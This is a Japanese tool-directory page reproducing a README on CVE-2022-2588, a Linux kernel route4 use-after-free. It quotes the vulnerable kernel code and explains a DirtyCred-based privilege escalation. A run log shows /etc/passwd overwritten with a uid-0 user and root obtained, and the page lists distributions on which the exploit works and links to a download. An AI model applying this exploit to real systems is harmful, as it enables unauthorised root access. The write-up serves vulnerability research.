Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-2588 — CVE-2022-2588に関する詳細な解説とエクスプロイトコード。Linuxカーネルのroute4_changeにおけるuse-after-free脆弱性で、二重解放と認証情報の交換を介して権限昇格に至る。 | Kitploit
ツール/GitHubGitHub/dom4570/cve-2022-2588
特権昇格脆弱性分析エクスプロイト論文と研究学習と教育バイナリエクスプロイト
GitHubdom4570/cve-2022-2588

CVE-2022-2588

CVE-2022-2588に関する詳細な解説とエクスプロイトコード。Linuxカーネルのroute4_changeにおけるuse-after-free脆弱性で、二重解放と認証情報の交換を介して権限昇格に至る。

リポジトリを見る
13年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-2588

修正

このバグはLinux v5.19でこのcommitによって修正されました。

バグ

このバグは2014年にLinux v3.17でこのcommitによって導入されました。発動にはUser Namespacesが必要です。このバグはCVE-2021-3715と非常によく似ており、それはroute4_filterのリンクリストに対する不適切な操作によって引き起こされました。CVE-2021-3715の詳細はblackhat talk(16ページ)にあります。以下はCVE-2022-2588の簡単な詳細です。

次のコードは、CVE-2022-2588を理解するための関数route4_changeの重要な部分を示しています。

root@kitploit:~
static int route4_change(...)
{
    ...
    f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL);      [0]
    ...
    // if there exists a filter with the same handler, copy some information
    if (fold) {                                                 [1]
        f->id = fold->id;
        f->iif = fold->iif;
        f->res = fold->res;
        f->handle = fold->handle;

        f->tp = fold->tp;
        f->bkt = fold->bkt;
        new = false;
    }
    
    // initialize the new filter
    err = route4_set_parms(net, tp, base, f, handle, head, tb,  [2]
                   tca[TCA_RATE], new, flags, extack);
    if (err < 0)
        goto errout;

    // insert the new filter to the list
    h = from_hash(f->handle >> 16);                             [3]
    fp = &f->bkt->ht[h];
    for (pfp = rtnl_dereference(*fp);
         (f1 = rtnl_dereference(*fp)) != NULL;
         fp = &f1->next)
        if (f->handle < f1->handle)
            break;

    tcf_block_netif_keep_dst(tp->chain->block);
    rcu_assign_pointer(f->next, f1);
    rcu_assign_pointer(*fp, f);
    
    // remove fold filter from the list if fold exists
    if (fold && fold->handle && f->handle != fold->handle) {    [4]
        th = to_hash(fold->handle);
        h = from_hash(fold->handle >> 16);
        b = rtnl_dereference(head->table[th]);
        if (b) {
            fp = &b->ht[h];
            for (pfp = rtnl_dereference(*fp); pfp;
                 fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
                if (pfp == fold) {
                    rcu_assign_pointer(*fp, fold->next);  [5]// remove the old from the linked list
                    break;
                }
            }
        }
    }
...
    // free the fold filter if it exists                         [6]
    if (fold) {
        tcf_unbind_filter(tp, &fold->res);
        tcf_exts_get_net(&fold->exts);
        tcf_queue_work(&fold->rwork, route4_delete_filter_work);
    }

この関数はroute4_filterオブジェクトを初期化/置換するために実装されています。フィルタは一意のIDとしてhandleを使用して各フィルタを区別します。以前に初期化されたハンドルが存在する場合(つまりfold変数がnullではない場合)、古いフィルタを削除して新しいフィルタを追加することでフィルタを更新します。それ以外の場合は、新しいフィルタを追加するだけです。

[0]では、カーネルがroute4_filterオブジェクトを割り当てます。[1]では、foldが空でない場合(つまり同じハンドルを持つフィルタが存在する場合)、新しいフィルタにいくつかの情報をコピーし、[2]で新しいフィルタを初期化し、[3]でリストに新しいフィルタを挿入します。古いフィルタが存在する場合、[4]でリストから削除され、[6]で解放されます。

バグは[4]で発生します。[4]は削除すべき古いフィルタが存在するかどうかをチェックします。条件は、ハンドルがゼロではなく、新しいフィルタのハンドルと一致することを保証します。この条件は、[6]でフィルタを解放する条件と一致しません。[6]では古いフィルタが存在するかどうかだけをチェックします。したがって、ユーザーがハンドル0のフィルタを作成し、その置き換えをトリガーすると、条件が異なるため、フィルタは[4]でリンク解除されず、[6]で解放されます。

悪用

このバグはCVE-2021-3715と似ているため、それらのプリミティブはほぼ同じです。読者はプリミティブのより詳細な説明についてblackhat talkを参照できます。この文書では、DirtyCredのアイデアを用いた悪用を示します。

バグをトリガーした後、解放されたfoldは依然としてリンクリスト上にあるため、foldを再度解放することができ、最終的にroute4_filerオブジェクトとroute4_filter->exts.actionオブジェクト(CONFIG_NET_CLS_ACTが有効な場合)の二重解放を引き起こします。

エクスプロイトコードは、これら2つの二重解放機能を利用して、task credentials(kmalloc-192二重解放を利用、近日公開予定)とopen file credentials(kmalloc-256二重解放を利用)への攻撃を実証します。

ファイルクレデンシャルへの攻撃

DirtyCredのアイデアに従い、エクスプロイトコードは権限チェック後にファイルクレデンシャルを交換するため、読み取り権限があるファイルに任意の内容を書き込むことができます。理想的には、このコードはバグの影響を受けるすべてのカーネルバージョンで動作します。古いカーネル(msg_msgがkmalloc-rcl-*で分離されている)でも動作するように、エクスプロイトは異なるスプレーオブジェクトを使用していることに注意してください。

root@kitploit:~
[zip@localhost ~]$ ./exp_file
self path /home/zip/./exp_file
prepare done
Old limits -> soft limit= 14096          hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[zip@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[zip@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)

このエクスプロイトは、できるだけ多くのディストリビューションで動作するように書かれています。以下のディストリビューションで動作することが確認されています:

  • CentOS 8/Stream (4.18.0-80.el8.x86_64 ~ xxx)
  • CentOS 7 (4.20.11-1.el7.x86_64, 5.4.179-1.el7.x86_64, 5.9.6-1.el7.x86_64)
  • Debian 11 (5.10.0-8-amd64 ~ xxx)
  • Fedora 33 (5.8.15-301.fc33.x86_64 ~ xxx)
  • Manjaro 18 (xxx ~ xxx)
  • RHEL 8 (4.18.0-80.el8.x86_64 ~ xxx)
  • Ubuntu 17 (4.10.0-19-generic ~ xxx)
  • Ubuntu 18 (xxx ~ xxx)
  • Ubuntu 19 (5.0.0-38-generic ~ xxx)
  • Ubuntu 20 (xxx ~ xxx)

(他のカーネルで動作することが確認できた場合は、遠慮なくPRを送ってこのリストを更新してください。)

VMでエクスプロイトを試してみたいですか?

ユーザー名low、パスワードlowでログインしてください。

Ubuntu 20

root@kitploit:~
nc 150.136.171.117 1337

Centos 8

root@kitploit:~
nc 150.136.171.117 1338
ツールをダウンロード